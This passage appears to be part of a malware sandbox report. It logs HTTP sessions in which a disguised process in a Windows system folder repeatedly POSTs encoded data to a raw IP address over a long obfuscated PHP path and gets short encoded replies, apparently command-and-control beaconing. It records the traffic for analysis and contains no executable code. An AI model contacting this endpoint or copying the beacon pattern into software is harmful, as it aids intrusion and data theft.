28	192.168.2.4	49778	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:59.332180977 CET	538	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2580 Expect: 100-continue
Dec 8, 2024 15:27:59.685121059 CET	2580	OUT	Data Raw: 50 59 46 57 5b 49 50 53 54 5e 50 59 5b 58 59 5e 59 5d 59 5c 57 57 51 5d 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PYFW[IPST^PY[XY^Y]Y\WWQ]YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-'_%9653%Y97)78%;0>8[25&;.\#/']/; ]!![ 4
Dec 8, 2024 15:28:00.660453081 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:00.896447897 CET	151	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49784	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:01.130518913 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:01.482070923 CET	2584	OUT	Data Raw: 50 5a 43 5c 5b 46 55 55 54 5e 50 59 5b 5f 59 5c 59 5d 59 58 57 5c 51 59 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PZC\[FUUT^PY[_Y\Y]YXW\QYYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.3=X19)]! 6,7]"8[;($$[%3*%>^4\.+ ]!![
Dec 8, 2024 15:28:02.461975098 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:02.700519085 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49790	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:02.940985918 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:03.294548988 CET	2584	OUT	Data Raw: 55 5c 43 51 5e 45 50 52 54 5e 50 59 5b 5e 59 5f 59 58 59 57 57 51 51 58 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: U\CQ^EPRT^PY[^Y_YXYWWQQXYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.$=$)6 69.X7;),;;'1V\';&"<].+ ]!![ 8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49791	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:04.077606916 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 1864 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:04.435139894 CET	1864	OUT	Data Raw: 50 52 43 51 5e 45 50 54 54 5e 50 59 5b 58 59 53 59 5a 59 5e 57 51 51 5a 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PRCQ^EPTT^PY[XYSYZY^WQQZYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y._'>!X%!X#0::"785/8?0-,% -&;*X#Z?[.+ ]!![
Dec 8, 2024 15:28:05.398590088 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:05.636485100 CET	380	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 13 39 50 31 1b 0d 10 2a 14 07 04 32 2c 38 02 33 01 2f 15 3d 56 37 5b 25 39 30 5f 3b 04 0d 1c 23 2c 30 14 27 04 2c 1e 22 2f 23 15 2d 28 20 5a 06 10 22 03 25 11 2c 05 28 28 25 14 26 06 39 0a 35 34 28 1d 33 13 01 53 3e 03 26 5e 37 06 3c 0a 32 3e 2a 0a 2e 26 22 5c 31 30 05 1e 27 36 2c 55 0f 1f 25 0b 24 32 27 1f 37 27 36 57 21 0e 23 5d 26 0b 26 15 22 2c 3c 1b 28 2d 2b 02 28 1c 05 01 23 31 3f 1d 2d 15 2e 01 29 1c 2c 0c 30 2c 20 53 2a 02 2e 54 0d 33 56 52 Data Ascii: 9P12,83/=V7[%90_;#,0',"/#-( Z"%,((%&954(3S>&^7<2>.&"\10'6,U%$2'7'6W!#]&&",<(-+(#1?-.),0, S*.T3VR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49792	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:04.385284901 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:04.732068062 CET	2584	OUT	Data Raw: 50 5e 46 57 5b 46 55 50 54 5e 50 59 5b 5a 59 5e 59 59 59 5a 57 55 51 5c 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: P^FW[FUPT^PY[ZY^YYYZWUQ\YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-'!196#5].&7(:^/,W$X#%V>%+!",;/ ]!![ (
Dec 8, 2024 15:28:05.749109983 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:05.984385014 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49798	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:06.221746922 CET	538	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue
Dec 8, 2024 15:28:06.575860977 CET	2584	OUT	Data Raw: 50 5f 43 53 5e 44 50 53 54 5e 50 59 5b 5e 59 59 59 55 59 58 57 55 51 56 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: P_CS^DPST^PY[^YYYUYXWUQVYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.Z0-$*5Z"#5]:$48/(3$= '36&+7<, ]!![ 8
Dec 8, 2024 15:28:07.590177059 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:07.824384928 CET	151	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49804	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:08.074579000 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:08.419606924 CET	2584	OUT	Data Raw: 50 52 46 57 5e 42 55 56 54 5e 50 59 5b 5a 59 5b 59 58 59 57 57 51 51 57 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PRFW^BUVT^PY[ZY[YXYWWQQWYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.X%-%*5]":942X78%88<R$>^%)&;.]7?#\/; ]!![ (
Dec 8, 2024 15:28:09.395766020 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:09.632359982 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49810	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:09.878664017 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:10.232054949 CET	2584	OUT	Data Raw: 50 5d 46 57 5e 44 55 52 54 5e 50 59 5b 50 59 5b 59 59 59 5c 57 5c 51 5f 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: P]FW^DURT^PY[PY[YYY\W\Q_YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.0-.&9!9X94&^ ,$V0.$_%!28%"?+/; ]!![

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49811	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:10.758836985 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:11.107023001 CET	1904	OUT	Data Raw: 55 5c 43 55 5e 43 55 53 54 5e 50 59 5b 5f 59 59 59 59 59 5f 57 50 51 57 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: U\CU^CUST^PY[_YYYYY_WPQWYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-3%&5::-4:X/'0Z%01'89#/+ ]!![
Dec 8, 2024 15:28:12.098699093 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:12.332377911 CET	380	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 13 3a 09 25 36 37 1d 2a 04 29 02 25 2c 3c 07 30 2b 3c 06 2a 56 27 5c 27 5f 2c 5b 38 39 23 1e 20 02 2b 00 27 03 0d 01 22 02 3c 08 2d 38 20 5a 06 10 21 14 25 11 30 03 28 05 31 5d 24 28 2e 1c 22 09 3f 41 27 04 2b 53 3e 3a 2e 5e 34 2f 05 56 31 13 32 0c 2e 1b 0c 5d 26 30 0d 1c 25 0c 2c 55 0f 1f 25 09 27 32 06 0f 23 27 2a 1d 21 30 09 19 26 0b 2a 50 35 01 2b 0f 3f 3d 24 5e 28 22 05 03 22 22 33 13 2e 28 26 01 2a 0b 23 56 27 16 20 53 2a 02 2e 54 0d 33 56 52 Data Ascii: :%67)%,<0+<V'\'_,[89# +'"<-8 Z!%0(1]$(."?A'+S>:.^4/V12.]&0%,U%'2#'!0&P5+?=$^("""3.(&#V' S.T3VR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49812	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:10.880629063 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:11.232026100 CET	2584	OUT	Data Raw: 50 53 43 5d 5b 49 55 50 54 5e 50 59 5b 50 59 5e 59 58 59 5b 57 5c 51 5a 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PSC][IUPT^PY[PY^YXY[W\QZYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y._'[*%_56#Y.9"(^,+$/2 .1& Z;[.; ]!![
Dec 8, 2024 15:28:12.200032949 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:12.432145119 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49818	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:12.675534964 CET	538	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue
Dec 8, 2024 15:28:13.028896093 CET	2584	OUT	Data Raw: 55 5b 43 5c 5e 43 50 55 54 5e 50 59 5b 5b 59 5b 59 5a 59 58 57 55 51 5e 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: U[C\^CPUT^PY[[Y[YZYXWUQ^YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.%-&2:9X"#:2Y7;*^.;$$.+135';2]"<#.+ ]!![ ,
Dec 8, 2024 15:28:14.013664007 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:14.248296022 CET	151	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49824	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:14.490434885 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:14.842083931 CET	2584	OUT	Data Raw: 55 59 46 56 5b 43 50 56 54 5e 50 59 5b 59 59 58 59 59 59 5b 57 56 51 5c 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: UYFV[CPVT^PY[YYXYYY[WVQ\YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.[$=!Z2959]-$\";"X/8'>+&#)&+%7/</; ]!![ $
Dec 8, 2024 15:28:15.827668905 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:16.060230970 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49830	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:16.299949884 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
